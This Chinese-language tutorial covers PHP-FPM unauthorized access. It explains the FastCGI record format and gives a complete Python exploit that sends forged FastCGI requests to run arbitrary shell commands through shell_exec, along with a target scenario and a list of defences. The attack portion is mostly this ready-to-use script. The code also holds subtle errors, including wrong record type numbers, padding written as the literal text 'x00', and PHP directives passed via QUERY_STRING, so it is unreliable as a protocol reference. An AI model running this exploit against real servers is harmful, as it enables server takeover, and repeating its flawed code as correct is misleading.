好的,我们开始。
PHP-FPM 未授权访问漏洞:FastCGI 协议在非标准端口下的 RCE 利用
各位朋友,今天我们来深入探讨一个在安全领域经常被提及,但又容易被忽视的漏洞:PHP-FPM 未授权访问漏洞。我们将重点关注 FastCGI 协议在非标准端口下的 RCE(Remote Code Execution,远程代码执行)利用。
一、理解 PHP-FPM 和 FastCGI 协议
首先,我们需要理解 PHP-FPM(FastCGI Process Manager)和 FastCGI 协议。
-
PHP-FPM: 是 PHP 的一个进程管理器,用于处理来自 Web 服务器(如 Nginx 或 Apache)的 PHP 请求。它比传统的 CGI 模式拥有更高的性能和稳定性。PHP-FPM 维护着一个 worker 进程池,当 Web 服务器接收到对 PHP 文件的请求时,会将请求转发给 PHP-FPM 的 worker 进程处理,然后将结果返回给 Web 服务器,最终返回给客户端。
-
FastCGI: 是一种协议,定义了 Web 服务器和应用程序服务器之间如何通信。在我们的场景中,Web 服务器是 Nginx 或 Apache,应用程序服务器是 PHP-FPM。FastCGI 协议允许 Web 服务器将请求转发给应用程序服务器,并接收处理后的结果。相比于 CGI,FastCGI 具有持久连接和进程池的特性,显著提高了性能。
二、未授权访问漏洞的原理
PHP-FPM 默认监听在一个 TCP 端口(通常是 9000)或一个 Unix socket。如果配置不当,导致外部可以访问到 PHP-FPM 监听的端口,就可能产生未授权访问漏洞。这意味着攻击者可以直接与 PHP-FPM 通信,而无需经过 Web 服务器的验证。
这个漏洞的根本原因在于,PHP-FPM 默认信任来自本地 Web 服务器的请求。如果监听地址设置为 0.0.0.0:9000,或者防火墙配置不当,使得外部网络可以访问 9000 端口,攻击者就可以伪造 FastCGI 请求,欺骗 PHP-FPM 执行任意代码。
三、漏洞利用的条件
要成功利用 PHP-FPM 未授权访问漏洞,需要满足以下条件:
- PHP-FPM 监听在可访问的端口: 这是最基本的前提。攻击者需要能够通过网络访问到 PHP-FPM 监听的端口。例如,监听在
0.0.0.0:9000,并且防火墙没有限制外部访问。 - 知道 PHP-FPM 的监听地址和端口: 端口扫描可以帮助发现。
- 能够构造 FastCGI 请求: 攻击者需要能够构造符合 FastCGI 协议的请求,才能与 PHP-FPM 通信并执行恶意代码。
- 知道 Web 目录的绝对路径: 因为需要指定
SCRIPT_FILENAME参数,才能让 PHP-FPM 执行指定的文件。可以通过信息泄露、错误页面等方式获取。
四、FastCGI 协议的结构
理解 FastCGI 协议对于漏洞利用至关重要。FastCGI 协议基于记录(Record)进行通信。每个 Record 包含头部和内容。
-
Record Header (8 字节):
字段 字节 描述 version 1 FastCGI 版本号,通常为 1 type 1 Record 类型,例如: FCGI_BEGIN_REQUEST、FCGI_PARAMS、FCGI_STDIN、FCGI_STDOUT、FCGI_END_REQUESTrequestId 2 请求 ID,用于区分不同的请求 contentLength 2 内容长度,表示 Record 的内容部分有多少字节 paddingLength 1 填充长度,为了对齐 Record 的大小,在内容后面填充的字节数 reserved 1 保留字段,通常为 0 -
Record Content: Record 的内容部分,根据 Record 的类型而有所不同。例如,
FCGI_PARAMSRecord 的内容是键值对形式的参数。
五、构造 FastCGI 请求
现在,我们来了解如何构造 FastCGI 请求,以便利用 PHP-FPM 未授权访问漏洞执行任意代码。
攻击的核心在于发送一个包含恶意 PHP 代码的 FCGI_PARAMS Record 和一个空的 FCGI_STDIN Record。FCGI_PARAMS Record 中包含 SCRIPT_FILENAME 参数,指定要执行的 PHP 文件路径,以及 QUERY_STRING 参数,用于传递恶意代码。
以下是一个 Python 脚本,用于构造并发送 FastCGI 请求:
import socket
import struct
def build_fcgi_record(record_type, request_id, content):
"""构造 FastCGI Record"""
content_length = len(content)
padding_length = 0
header = struct.pack('>BBHHBB', 1, record_type, request_id, content_length, padding_length, 0)
return header + content
def build_fcgi_params(request_id, params):
"""构造 FCGI_PARAMS Record 的内容"""
content = b''
for name, value in params.items():
name_len = len(name)
value_len = len(value)
if name_len < 256 and value_len < 256:
content += struct.pack('BB', name_len, value_len)
content += name.encode() + value.encode()
elif name_len < 2**31 and value_len < 2**31:
content += struct.pack('>II', name_len | 0x80000000, value_len | 0x80000000)
content += name.encode() + value.encode()
else:
raise ValueError('Name or value too long')
return build_fcgi_record(3, request_id, content) # FCGI_PARAMS = 4
def build_fcgi_begin_request(request_id, role=1, flags=0):
"""构造 FCGI_BEGIN_REQUEST Record"""
content = struct.pack('>HB', role, flags) + b'x00' * 5
return build_fcgi_record(1, request_id, content) # FCGI_BEGIN_REQUEST = 1
def build_fcgi_stdin(request_id, content=b''):
"""构造 FCGI_STDIN Record"""
return build_fcgi_record(5, request_id, content) # FCGI_STDIN = 5
def build_fcgi_end_request(request_id, app_status=0, protocol_status=0):
"""构造 FCGI_END_REQUEST Record"""
content = struct.pack('>IB', app_status, protocol_status) + b'x00' * 3
return build_fcgi_record(3, request_id, content) # FCGI_END_REQUEST = 3
def exploit_php_fpm(host, port, web_root, php_file, cmd):
"""利用 PHP-FPM 未授权访问漏洞执行命令"""
request_id = 1
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
# 1. FCGI_BEGIN_REQUEST
begin_request = build_fcgi_begin_request(request_id)
sock.send(begin_request)
# 2. FCGI_PARAMS
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': web_root + php_file,
'SCRIPT_NAME': php_file,
'QUERY_STRING': '-d allow_url_include=On -d auto_prepend_file=php://input',
'DOCUMENT_ROOT': web_root
}
params_record = build_fcgi_params(request_id, params)
sock.send(params_record)
# 空的 FCGI_PARAMS 结束 Record
empty_params_record = build_fcgi_record(4, request_id, b'') #FCGI_PARAMS_END
sock.send(empty_params_record)
# 3. FCGI_STDIN (包含恶意 PHP 代码)
stdin_content = b'<?php echo shell_exec("' + cmd.encode() + b'"); ?>'
stdin_record = build_fcgi_stdin(request_id, stdin_content)
sock.send(stdin_record)
# 空的 FCGI_STDIN 结束 Record
empty_stdin_record = build_fcgi_stdin(request_id)
sock.send(empty_stdin_record)
# 4. 接收响应
response = b''
while True:
try:
chunk = sock.recv(1024)
if not chunk:
break
response += chunk
except ConnectionResetError:
break
sock.close()
# 解析响应,提取 STDOUT
stdout = b''
i = 0
while i < len(response):
header = struct.unpack('>BBHHBB', response[i:i+8])
version, record_type, req_id, content_length, padding_length, reserved = header
content = response[i+8:i+8+content_length]
if record_type == 6: # FCGI_STDOUT
stdout += content
i += 8 + content_length + padding_length
return stdout.decode()
# 示例用法
if __name__ == '__main__':
host = '127.0.0.1' # PHP-FPM 监听地址
port = 9000 # PHP-FPM 监听端口
web_root = '/var/www/html/' # Web 目录的绝对路径
php_file = 'index.php' # 任意存在的 PHP 文件,例如 index.php
cmd = 'id' # 要执行的命令
output = exploit_php_fpm(host, port, web_root, php_file, cmd)
print(output)
代码解释:
build_fcgi_record函数: 用于构建 FastCGI Record,接收 Record 类型、请求 ID 和内容作为参数。build_fcgi_params函数: 用于构建FCGI_PARAMSRecord 的内容,将参数以键值对的形式编码到 Record 中。build_fcgi_begin_request函数: 用于构建FCGI_BEGIN_REQUESTRecord, 用于初始化请求。build_fcgi_stdin函数: 用于构建FCGI_STDINRecord,包含要执行的 PHP 代码。这里使用了allow_url_include和auto_prepend_file两个 PHP 配置项,允许从输入流中包含 PHP 代码。exploit_php_fpm函数: 整个漏洞利用的核心函数。它创建一个 socket 连接到 PHP-FPM,然后按照 FastCGI 协议的顺序发送 Record:FCGI_BEGIN_REQUEST: 开始一个新的请求。FCGI_PARAMS: 设置请求的参数,包括SCRIPT_FILENAME(指定要执行的 PHP 文件路径)和QUERY_STRING(设置 PHP 配置项,允许包含输入流中的 PHP 代码)。FCGI_STDIN: 包含要执行的 PHP 代码。- 接收 PHP-FPM 的响应,提取
FCGI_STDOUT中的内容,即命令执行的结果。
六、在非标准端口下的利用
如果 PHP-FPM 监听在非标准端口(例如 9001),只需将 exploit_php_fpm 函数中的 port 参数修改为 9001 即可。
七、漏洞防御
- 限制监听地址: 将 PHP-FPM 监听地址设置为
127.0.0.1:9000,或者 Unix socket,避免外部网络直接访问。 - 配置防火墙: 使用防火墙(如 iptables 或 firewalld)限制对 PHP-FPM 监听端口的访问,只允许 Web 服务器访问。
- 更新 PHP 版本: 及时更新 PHP 版本,修复已知的安全漏洞。
- 最小权限原则: 确保 PHP-FPM 运行在最小权限的用户下,避免攻击者利用漏洞获取更高的权限。
- 禁用危险的 PHP 函数: 在 php.ini 中禁用
exec、shell_exec、system等危险的 PHP 函数。 - 使用安全配置: 禁用
allow_url_include和auto_prepend_file等不安全的 PHP 配置项。 - 定期安全审计: 定期进行安全审计,检查服务器配置是否存在安全漏洞。
八、利用工具
除了手动编写脚本外,还可以使用一些现有的工具来利用 PHP-FPM 未授权访问漏洞,例如:
- fpm-bypass: 一个专门用于检测和利用 PHP-FPM 未授权访问漏洞的工具。
九、案例分析
假设一个场景:某 Web 服务器的 PHP-FPM 监听在 0.0.0.0:9000,并且防火墙没有限制外部访问。攻击者通过端口扫描发现了这个端口,并且知道 Web 目录的绝对路径是 /var/www/html/。攻击者可以使用上述 Python 脚本,将 host 设置为目标服务器的 IP 地址,port 设置为 9000,web_root 设置为 /var/www/html/,php_file 设置为 index.php,cmd 设置为 id,即可在目标服务器上执行 id 命令,并获取执行结果。
十、总结
PHP-FPM 未授权访问漏洞是一个高危漏洞,可能导致远程代码执行,甚至完全控制服务器。通过限制监听地址、配置防火墙、更新 PHP 版本、禁用危险函数等措施,可以有效地防御该漏洞。理解 FastCGI 协议是漏洞利用和防御的关键。希望今天的讲解能够帮助大家更好地理解和防范 PHP-FPM 未授权访问漏洞。
漏洞原理和利用方式回顾
PHP-FPM未授权访问漏洞源于配置不当导致外部可以直接访问PHP-FPM监听端口,攻击者可以通过构造FastCGI请求来执行任意代码,防御的关键在于限制监听地址和配置防火墙,以及禁用危险的PHP配置。